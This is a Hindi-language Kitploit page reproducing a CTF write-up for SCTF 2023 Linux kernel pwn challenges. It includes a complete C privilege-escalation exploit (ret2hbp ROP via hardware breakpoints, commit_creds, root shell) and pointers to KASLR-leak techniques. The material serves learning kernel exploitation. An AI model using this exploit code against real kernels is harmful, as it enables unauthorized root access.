Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2023-3640 — SCTF 2023 kernel pwn && CVE-2023-3640 | Kitploit
उपकरण/GitHubGitHub/pray77/cve-2023-3640
भेद्यता विश्लेषणशोषणCTFलर्निंग और शिक्षाबाइनरी शोषण
GitHubpray77/cve-2023-3640

CVE-2023-3640

SCTF 2023 kernel pwn && CVE-2023-3640

रिपॉजिटरी देखें
2913 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

SCTF2023_kernelpwn

SCTF 2023 कर्नेल pwn

अलग बात: थोड़ा विज्ञापन। मैं 2024 बैच का स्नातक छात्र हूँ, इस साल की शरदकालीन भर्ती में भाग ले रहा हूँ, संपर्क करने के लिए स्वागत है~

sycrop

इस समस्या में दो बिंदुओं की जाँच करनी है।

  1. cpu entry area mapping क्षेत्र के आरंभिक बिंदुओं में कुछ ऐसे पते होते हैं जिनका कर्नेल text खंड के सापेक्ष offset निश्चित होता है। विवरण के लिए नीचे दिया गया चित्र देखें। यह केवल एक छोटी सी trick है, जो पहली बार Google के KCTF में दिखाई दी, और बाद में अंतर्राष्ट्रीय प्रतियोगिताओं में कुछ बार आई।

image

3Z(ZSS7$2V)YRPGD 7%KY

  1. उपयोगकर्ता मोड में हार्डवेयर ब्रेकपॉइंट ट्रिगर करके, रजिस्टर सामग्री को per cpu entry area के निश्चित offset वाले DB stack पर push किया जा सकता है, और linux 6.2 से पहले, per cpu entry area में randomization नहीं जोड़ा गया था, पता निश्चित था, इसलिए कर्नेल के निश्चित पते पर ROP श्रृंखला बनाने का तरीका प्राप्त किया जा सकता है। यह इस समस्या का नवाचार बिंदु है, लेखक ने अस्थायी रूप से इसे नाम दिया है: ret2hbp। यह नाम केवल सभी के लिए इस हमले की तकनीक का वर्णन करना आसान बनाने के लिए है, लेखक मौलिकता का दावा नहीं करता। वास्तव में, कर्नेल exploitation के विकास पथ का आकर्षण अपने आप में पर्याप्त रूप से आकर्षक है; समुद्र तट पर रेत में एक सीप उठा लेना ही काफी खुशी की बात है : )

विशिष्ट पते और offset के लिए संबंधित exp देखें, फिर भी आशा है कि आप सभी स्वयं इसे debug करेंगे।

root@kitploit:~
#define _GNU_SOURCE
#include <sched.h>
#include <sys/mman.h>
#include <pthread.h>
#include <semaphore.h>
#include <sys/ptrace.h>
#include <signal.h>
#include <sys/wait.h>
#include <stddef.h>
#include <asm/user_64.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/utsname.h>
#include <stdbool.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/prctl.h>
#include <fcntl.h>

void* map;
#define PAGE_SIZE 0x1000
pid_t hbp_pid;
unsigned long kernel_base;
unsigned long init_cred;
unsigned long commit_cred;
unsigned long pop_rdi;
unsigned long swapgs_restore_regs_and_return_to_usermode;

size_t user_cs, user_ss, user_rflags, user_sp;

void saveStatus()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void teardown()
{
    kill(hbp_pid,9);
}

void create_hbp(void* addr)
{

    if(ptrace(PTRACE_POKEUSER,hbp_pid, offsetof(struct user, u_debugreg), addr) == -1) {
        printf("Could not create hbp! ptrace dr0: %m\n");
        teardown();
        exit(1);
    }

    if(ptrace(PTRACE_POKEUSER,hbp_pid, offsetof(struct user, u_debugreg) + 56, 0xf0101) == -1) {
        printf("Could not create hbp! ptrace dr7: %m\n");
        teardown();
        exit(1);
    }
}

void hbp_raw_fire()
{
    if(ptrace(PTRACE_CONT,hbp_pid,NULL,NULL) == -1)
        {
            printf("Failed to PTRACE_CONT: %m\n");
            teardown();
            exit(1);
        }
}
void getRootShell(void)
{   
    if(getuid()) {
        printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
        exit(-1);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. "
         "Execve root shell now...\033[0m");
    system("/bin/sh");
}
size_t getshelladdr = &getRootShell;
void init(unsigned cpu)
{
    cpu_set_t mask;
    map = mmap((void*) 0x0a000000,0x1000000,PROT_READ | PROT_WRITE,MAP_SHARED | MAP_ANONYMOUS | MAP_FIXED,0,0);
    switch(hbp_pid = fork())
    {
        case 0: //child
            //pin cpu

            CPU_ZERO(&mask);
            CPU_SET(cpu,&mask);
            sched_setaffinity(0,sizeof(mask),&mask);
            ptrace(PTRACE_TRACEME,0,NULL,NULL);
            raise(SIGSTOP);
            __asm__(
                "mov r15,   0xbeefdead;"
                "mov r14,   pop_rdi;"
                "mov r13,   init_cred;" // start at there
                "mov r12,   commit_cred;"
                "mov rbp,   swapgs_restore_regs_and_return_to_usermode;"
                "mov rbx,   0x77777777;"
                "mov r11,   0x77777777;"
                "mov r10,   getshelladdr;"
                "mov r9,    user_cs;"
                "mov r8,    user_rflags;"
                "mov rax,   user_sp;"
                "mov rcx,   user_ss;"
                "mov rdx,   0xcccccccc;"
                "mov rsi,   0xa000000;"
                "mov rdi,   [rsi];"
            );
            exit(1);
        case -1:
            printf("fork: %m\n");
            exit(1);
        default: //parent. Just exit switch
            break;
    }
    int status;
    //Watch for stop:
    puts("Waiting for child");
    while(waitpid(hbp_pid,&status,__WALL) != hbp_pid || !WIFSTOPPED(status))
    {
        sched_yield();
    }
    puts("Setting breakpoint");
    create_hbp(map);
}

int main()
{
    saveStatus();
    int fd = open("/dev/seven", O_RDWR);
    if(fd < 0) perror("Error open");
    unsigned long addr =  ioctl(fd,0x5555,0xfffffe0000000000+4);
    printf("0x%llx\n",addr-0x1008e00);
    kernel_base = addr-0x1008e00;
    init_cred = kernel_base + 0xffffffffbd64cbf8 - 0xffffffffbbc00000;
    commit_cred = kernel_base + 0xffffffffbbcbb5b0 - 0xffffffffbbc00000;
    pop_rdi = kernel_base + 0xffffffff81002c9d - 0xffffffff81000000;
    swapgs_restore_regs_and_return_to_usermode = kernel_base + 0xffffffff82000f01 - 0xffffffff81000000;
    init(1);
    hbp_raw_fire();
    waitpid(hbp_pid,NULL,__WALL);
    hbp_raw_fire();
    waitpid(hbp_pid,NULL,__WALL);
    ioctl(fd,0x6666,0xfffffe0000010f60);
}

sycrpg

वास्तव में, यह केवल एक 1day exploit वाली समस्या है। मूल विचार Google pj0 का यह लेख है। लेखक ने केवल इसे एक CTF प्रश्न के रूप में बनाया है, ताकि आप इस शक्तिशाली और दिलचस्प exploitation विधि को सीख सकें, और यह अनुभव कर सकें कि केवल एक पते पर एक बाइट लिखकर getshell प्राप्त करने का आकर्षण क्या है। https://googleprojectzero.blogspot.com/2022/12/exploiting-CVE-2022-42703-bringing-back-the-stack-attack.html?m=1

moonpray

यह एक 0day समस्या है जो कर्नेल सूचना रिसाव (information leak) से संबंधित है, हालांकि इसमें अनपेक्षित समाधान मौजूद था (जिन दो टीमों ने हल किया, दोनों का समाधान अनपेक्षित था)।

प्रश्न, leak हटाए गए sycrop का उन्नत संस्करण है, क्योंकि संस्करण 6.2 का उपयोग किया गया है, per cpu entry area में randomization जोड़ दिया गया है।

  1. सबसे पहले अभी भी leak करना है। यहां शामिल बिंदु CPU भेद्यता है। ध्यान दें कि बूट स्क्रिप्ट में -enable-kvm और -cpu host का उपयोग किया गया है, यानी भौतिक मशीन का CPU उपयोग होता है। वास्तव में, अधिकांश मामलों में Intel CPU इस भेद्यता से प्रभावित होते हैं। विस्तार के लिए 1day Entrybleed लेख देखें (https://www.willsroot.io/2022/12/entrybleed.html#comment-form), उपरोक्त स्क्रिप्ट से kaslr प्राप्त किया जा सकता है।
  2. अगले ROP भाग में, sycrop के विचार के अनुसार, स्टैक को DB stack पर migrate करना चाहिए, लेकिन इस समय per cpu entry area में randomization जोड़ा गया है, इसलिए DB stack भी यादृच्छिक हो गया है (यह per cpu entry area + 0xf000 इस offset पर है)। वास्तव में, KPTI चालू होने पर, केवल सिस्टम कॉल entry point ही उपयोगकर्ता मोड में मैप नहीं होता (EntryBleed का entry_SYSCALL_64), बल्कि per cpu entry area भी मैप होता है, इसलिए prefetch instruction के समय अंतर की गणना करके offset प्राप्त किया जा सकता है। विशिष्ट script को विक्रेता की सहमति के बाद ही प्रकट किया जा सकता है (लेकिन वास्तव में उपरोक्त स्पष्ट कर चुका है, मुझे विश्वास है कि गुरुजन इसे बना सकते हैं)।
  3. अनपेक्षित समाधान के बारे में: ROP भाग में ret2dir का उपयोग किया जा सकता है। यह लेखक की लापरवाही है। प्रश्न बनाते समय यह भी सोचा था कि क्या ret2dir काम कर सकता है, लेकिन समय की कमी के कारण प्रश्न का मुख्य भाग पूरा करने के बाद यह मामला भूल ही गया। फिर भी ठीक है, कम से कम इस प्रश्न का एक हल तो है।
टूल डाउनलोड करें